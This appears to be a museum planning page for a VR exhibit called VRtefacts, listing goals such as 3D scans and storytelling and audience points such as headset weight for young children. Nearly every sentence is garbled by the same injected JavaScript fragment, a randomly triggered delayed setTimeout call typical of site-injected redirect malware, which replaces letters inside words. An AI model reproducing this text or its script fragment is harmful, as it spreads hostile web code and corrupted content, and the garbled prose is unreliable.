The vision

1. Decide the relative importance of each of the following for your institution: 

a. Letting visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors explore your artefacts up close using 3D scans.

b. Letting visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors explore 3D prints of your artefacts.

c. Engaging visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors through personal sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytelling.

d. Building an archive of community-generated sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tories.

2. Think about the target demographic: 

a. VR headsets are generally dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}too large and heavy for small children (roughly under age 10) dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to use comfortably. There is also some research indicating that long-term use of VR may be detrimental dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to children (though VRtefacts’s level of exposure falls radically below ‘long-term use’). 

b. Because visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors do not move through the space, they do not seem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to suffer from VR nausea, though that is always a potential risk.

Go on dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to The Plan.